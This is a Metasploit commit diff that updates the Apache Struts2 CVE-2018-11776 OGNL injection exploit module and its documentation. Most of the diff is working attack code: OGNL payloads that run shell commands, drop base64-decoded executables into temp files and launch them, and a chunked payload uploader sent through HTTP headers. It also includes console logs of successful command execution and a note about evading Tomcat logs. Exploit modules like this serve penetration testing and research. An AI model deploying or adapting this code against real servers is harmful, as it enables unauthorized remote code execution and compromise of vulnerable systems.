Land #10671, struts2_namespace_ognl updates

There are still some outstanding concerns, but I want to unblock this.
GSoC/Meterpreter_Web_Console
William Vu 2018-10-12 11:08:33 -05:00
commit 5b14d94957
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 186 additions and 61 deletions

View File

@ -2,6 +2,12 @@ CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles nam
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set `allowStaticMethodAccess=true`. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify `allowStaticMethodAccess`. The `ENABLE_STATIC` option is used to toggle behavior, and the `check` method fingerprints the correct version.
As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
## Vulnerable Application
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
@ -68,7 +74,7 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
Confirm that check functionality works:
- [ ] Install the application using the steps above.
- [ ] Start msfconsole.
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_ognl```
- [ ] Set the RHOST.
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
- [ ] Confirm the target is *not* vulnerable: ```check```
@ -105,31 +111,31 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
Checking a vulnerable endpoint, as installed in the above steps:
```
msf > use exploit/multi/http/struts_namespace_rce
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
msf > use exploit/multi/http/struts_namespace_ognl
msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
ACTION => help.action
msf5 exploit(multi/http/struts_namespace_rce) > check
msf5 exploit(multi/http/struts_namespace_ognl) > check
[+] 192.168.199.135:32771 The target is vulnerable.
```
Running an arbitrary command on the above-described environment:
```
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname
CMD => hostname
msf5 exploit(multi/http/struts_namespace_rce) > run
msf5 exploit(multi/http/struts_namespace_ognl) > run
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*] Command ran. Output from command:
b3d9b350d9b6
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts_namespace_rce) >
msf5 exploit(multi/http/struts_namespace_ognl) >
```
Getting a Meterpreter session on the above-described environment:

View File

@ -12,6 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
# NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
@ -20,11 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Note that this exploit is dependant on the version of Tomcat running on
the target. Versions of Tomcat starting with 7.0.88 currently don't
support payloads larger than ~7.5kb. Windows Meterpreter sessions on
Tomcat >=7.0.88 are currently not supported.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
@ -67,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
@ -120,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Remote
else
CheckCode::Safe
end
elsif resp.nil?
fail_with(Failure::Unreachable,"Target did not respond. Please double check RHOSTS and RPORT")
end
end
@ -140,7 +148,6 @@ class MetasploitModule < Msf::Exploit::Remote
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
@ -176,53 +183,38 @@ class MetasploitModule < Msf::Exploit::Remote
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
def send_struts_request(ognl, payload: nil, headers: nil)
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if headers.nil?
headers = {'Keep-Alive': 'timeout=5, max=1000'}
end
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
# TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
r = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
if r && r.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
return r
end
def profile_target
def send_profile
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
@ -281,14 +273,10 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
def profile_os
# Probe for the target OS and architecture
begin
properties = profile_target
properties = send_profile()
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
@ -297,10 +285,20 @@ class MetasploitModule < Msf::Exploit::Remote
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
return os
end
if (os.include? 'linux') || (os.include? 'nix')
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
os = profile_os()
if os && ((os.include? 'linux') || (os.include? 'nix'))
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
elsif os && (os.include? 'win')
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
@ -336,18 +334,23 @@ class MetasploitModule < Msf::Exploit::Remote
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
payload = generate_payload_exe
print_status("Generated #{payload.length} byte binary payload")
payload_b64 = [payload].pack("m").delete("\n")
if payload_b64.length < 8100
send_payload_oneshot(payload_b64)
else
send_payload_multishot(payload)
end
end
def send_payload_oneshot(payload)
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
@ -355,18 +358,19 @@ class MetasploitModule < Msf::Exploit::Remote
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
#TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
@ -375,8 +379,7 @@ class MetasploitModule < Msf::Exploit::Remote
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
r = send_struts_request(ognl, payload: payload)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
@ -387,4 +390,120 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
def ognl_create_file()
filename = datastore['TEMPFILE']
# f = path to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#f)|
r = send_struts_request(ognl)
begin
tempfile = r.headers['Location']
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
if tempfile.empty?
fail_with(Failure::UnexpectedReply,"Unable to create and locate file on target. Try a cmd/*/generic payload")
end
rescue
fail_with(Failure::UnexpectedReply,"Unable to create and locate file. Try a cmd/*/generic payload")
end
return tempfile
end
def send_payload_multishot(payload)
tempfile = ognl_create_file()
print_status("Temp file created: #{tempfile}")
payload_cursor = 0
while payload_cursor < payload.length
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
payload_start = payload_cursor
payload_end = payload_cursor + payload_size
payload_end = payload.size if payload_end > payload.size
chunk_bin = payload[payload_start..payload_end]
chunk_b64 = [chunk_bin].pack("m").delete("\n")
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
ognl_append_file(tempfile, chunk_b64)
payload_cursor = payload_end + 1
end
ognl_execute(tempfile)
end
def ognl_append_file(payload_file, payload_chunk)
data_header = datastore['HEADER'] + 'd'
file_header = datastore['HEADER'] + 'f'
headers = {
"#{data_header}": payload_chunk,
"#{file_header}": payload_file,
}
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.headers['Location'].include? success_string
vprint_good("OGNL payload chunk sent successfully.")
return
else
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
end
rescue
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
end
end
def ognl_execute(file)
file_header = datastore['HEADER'] + 'f'
headers = {
"#{file_header}": file,
}
# f = path to temp file
# p = process handle
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.code==302
print_good("OGNL payload executed successfully.")
else
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
end
rescue
vprint_status("TARGET RESPONDED: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
end
end
end